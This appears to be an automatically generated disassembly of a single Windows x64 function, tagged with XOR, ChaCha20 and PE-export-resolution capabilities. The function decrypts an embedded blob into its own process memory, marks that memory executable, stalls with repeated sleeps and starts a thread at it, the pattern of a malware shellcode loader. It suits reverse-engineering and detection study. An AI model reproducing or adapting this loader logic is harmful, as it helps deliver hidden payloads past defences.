Function at 0x140002bd0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
push r15
xor eax, eax
mov ecx, 0xc
xor r11d, r11d
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
xor ebx, ebx
sub rsp, 0x158
lea rdi, [rsp + 0xe0]
mov dword [rsp + 0xb4], r11d
rep stosd dword [rdi], eax
mov rdi, qword [section..data]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
mov rcx, rdi
call sub.msvcrt.dll_strlen
movsxd rcx, eax
mov rsi, rax
call sub.msvcrt.dll_malloc
mov r8d, esi
mov rdx, rdi
xor esi, esi
mov rcx, rax
mov rbx, rax
call fcn.140002990
mov qword [rsp + 0xc8], rsi
cdqe
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsp + 0xb8]
mov edx, 0x1fffff
lea r9, [rsp + 0xd0]
cdqe
lea r8, [rsp + 0xe0]
mov qword [rsp + 0xd0], rax
call fcn.140001510
mov dword [rsp + 0x28], 4
mov rcx, qword [rsp + 0xb8]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0xc8]
lea r9, [rsp + 0xc0]
call fcn.140001450
mov rax, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_malloc
cmp dword [rsp + 0x68], 0
mov qword [rsp + 0x90], rax
je 0x1400030e4
mov eax, dword [rsp + 0x68]
xor r10d, r10d
mov dword [rsp + 0x98], 1
mov qword [rsp + 0xa0], r10
mov r9, qword [rsp + 0x90]
mov dword [rsp + 0x74], eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x88], rax
cmp dword [rsp + 0x74], 0x3f
ja 0x140002d46
xor eax, eax
mov dl, byte [rbx + rax]
mov rsi, qword [rsp + 0x88]
inc rax
mov byte [rax + rsi - 1], dl
mov esi, dword [rsp + 0x74]
cmp eax, esi
jb 0x140002d19
mov qword [rsp + 0xa0], r9
mov r9, qword [rsp + 0x88]
mov rbx, r9
mov dword [rsp + 0xac], 0xa
mov edx, dword [rsp + 0x98]
mov r12d, 0x3449ad8e
mov r10d, 0x6b206574
mov dword [rsp + 0x80], 0x277be414
mov edi, 0xf4bb7a4
mov r14d, 0xa10aed7e
mov r15d, 0xe139e4ee
mov r11d, 0x79622d32
mov ecx, 0xbd16db4c
mov esi, 0x3320646e
mov dword [rsp + 0x78], 0xf2fd0d07
mov dword [rsp + 0x7c], 0xa8ad09e3
mov ebp, 0x32b9fb8e
mov r8d, 0x4bbb4aaa
mov r13d, 0x61707865
mov dword [rsp + 0x84], 0x5709ec16
add r13d, r8d
mov eax, dword [rsp + 0x84]
add esi, ecx
add r11d, r15d
xor edx, r13d
rol edx, 0x10
xor eax, esi
add ebp, edx
rol eax, 0x10
add edi, eax
xor r8d, ebp
rol r8d, 0xc
xor ecx, edi
add r13d, r8d
rol ecx, 0xc
add esi, ecx
xor edx, r13d
rol edx, 8
xor eax, esi
add ebp, edx
rol eax, 8
mov dword [rsp + 0x84], eax
xor r8d, ebp
add eax, edi
mov edi, dword [rsp + 0x78]
rol r8d, 7
xor ecx, eax
mov dword [rsp + 0xa8], eax
mov eax, r14d
mov dword [rsp + 0x9c], r8d
xor eax, r11d
mov r8d, dword [rsp + 0x7c]
rol ecx, 7
rol eax, 0x10
add r8d, eax
xor r15d, r8d
rol r15d, 0xc
add r11d, r15d
xor eax, r11d
rol eax, 8
add r10d, r12d
add r13d, ecx
add r8d, eax
xor edi, r10d
mov r14d, eax
mov eax, dword [rsp + 0x80]
rol edi, 0x10
xor r15d, r8d
add eax, edi
rol r15d, 7
xor r12d, eax
add esi, r15d
rol r12d, 0xc
xor edx, esi
add r10d, r12d
rol edx, 0x10
xor edi, r10d
rol edi, 8
add eax, edi
xor edi, r13d
rol edi, 0x10
xor r12d, eax
add eax, edx
add r8d, edi
rol r12d, 7
xor ecx, r8d
rol ecx, 0xc
add r13d, ecx
xor edi, r13d
rol edi, 8
mov dword [rsp + 0x78], edi
add edi, r8d
mov r8d, dword [rsp + 0x9c]
xor ecx, edi
mov dword [rsp + 0x7c], edi
mov edi, dword [rsp + 0x9c]
rol ecx, 7
xor r15d, eax
add r11d, r12d
rol r15d, 0xc
add r10d, edi
mov edi, dword [rsp + 0xa8]
add esi, r15d
xor r14d, r10d
xor edx, esi
rol r14d, 0x10
rol edx, 8
add edi, r14d
add eax, edx
xor r8d, edi
xor r15d, eax
mov dword [rsp + 0x80], eax
rol r8d, 0xc
mov eax, dword [rsp + 0x84]
add r10d, r8d
rol r15d, 7
xor eax, r11d
xor r14d, r10d
rol eax, 0x10
rol r14d, 8
add ebp, eax
add edi, r14d
xor r12d, ebp
xor r8d, edi
rol r12d, 0xc
rol r8d, 7
add r11d, r12d
xor eax, r11d
rol eax, 8
add ebp, eax
mov dword [rsp + 0x84], eax
xor r12d, ebp
rol r12d, 7
dec dword [rsp + 0xac]
jne 0x140002dbc
add r13d, 0x61707865
mov eax, dword [rsp + 0x98]
sub r14d, 0x5ef51282
inc dword [rsp + 0x98]
mov dword [rsp + 0x9c], r13d
mov r13d, dword [rsp + 0x7c]
add esi, 0x3320646e
add r11d, 0x79622d32
add edx, eax
xor esi, dword [rbx + 4]
xor r11d, dword [rbx + 8]
add r10d, 0x6b206574
sub r13d, 0x5752f61d
xor r10d, dword [rbx + 0xc]
mov eax, dword [rsp + 0x84]
add r8d, 0x4bbb4aaa
mov dword [rsp + 0x7c], r13d
xor edx, dword [rbx + 0x30]
sub ecx, 0x42e924b4
sub r15d, 0x1ec61b12
mov r13d, dword [rsp + 0x80]
mov dword [rsp + 0x80], r14d
add eax, 0x5709ec16
add r12d, 0x3449ad8e
mov r14d, dword [rsp + 0x78]
xor eax, dword [rbx + 0x34]
add ebp, 0x32b9fb8e
add edi, 0xf4bb7a4
xor r8d, dword [rbx + 0x10]
xor ecx, dword [rbx + 0x14]
add r13d, 0x277be414
sub r14d, 0xd02f2f9
xor r15d, dword [rbx + 0x18]
xor r12d, dword [rbx + 0x1c]
xor ebp, dword [rbx + 0x20]
xor edi, dword [rbx + 0x24]
mov dword [rsp + 0x78], r14d
mov r14d, dword [rsp + 0x7c]
xor r13d, dword [rbx + 0x2c]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x80]
xor eax, dword [rbx + 0x38]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x78]
xor eax, dword [rbx + 0x3c]
xor r14d, dword [rbx + 0x28]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x9c]
xor eax, dword [rbx]
cmp dword [rsp + 0x74], 0x40
mov dword [r9 + 4], esi
mov dword [r9], eax
mov eax, dword [rsp + 0x7c]
mov dword [r9 + 8], r11d
mov dword [r9 + 0x34], eax
mov eax, dword [rsp + 0x80]
mov dword [r9 + 0xc], r10d
mov dword [r9 + 0x38], eax
mov eax, dword [rsp + 0x78]
mov dword [r9 + 0x10], r8d
mov dword [r9 + 0x14], ecx
mov dword [r9 + 0x18], r15d
mov dword [r9 + 0x1c], r12d
mov dword [r9 + 0x20], ebp
mov dword [r9 + 0x24], edi
mov dword [r9 + 0x28], r14d
mov dword [r9 + 0x2c], r13d
mov dword [r9 + 0x30], edx
mov dword [r9 + 0x3c], eax
ja 0x1400030d2
mov eax, dword [rsp + 0x68]
mov ebx, dword [rsp + 0x68]
dec eax
shr eax, 6
imul eax, eax, 0xffffffc0
add eax, ebx
cmp eax, 0x40
je 0x1400030e4
xor edx, edx
mov cl, byte [r9 + rdx]
mov rbx, qword [rsp + 0xa0]
mov byte [rbx + rdx], cl
inc rdx
cmp edx, eax
jb 0x1400030ba
jmp 0x1400030e4
sub dword [rsp + 0x74], 0x40
add r9, 0x40
add rbx, 0x40
jmp 0x140002d10
xor r9d, r9d
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xc8]
mov ebx, 0xa
mov qword [rsp + 0x20], r9
mov rcx, qword [rsp + 0xb8]
mov r9, qword [rsp + 0x68]
call fcn.14000156c
lea rax, [rsp + 0xb4]
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
lea r8, [rsp + 0xc0]
call fcn.140001550
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call rsi
dec ebx
jne 0x14000314a
xor eax, eax
xor edx, edx
xor r8d, r8d
mov r9, qword [rsp + 0xb8]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0xc8]
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x28], rax
lea rax, [0x140002bc0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.1400014d0
mov rcx, qword [rsp + 0x110]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x110]
call fcn.140001490
mov rcx, qword [rsp + 0xb8]
call fcn.140001490
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret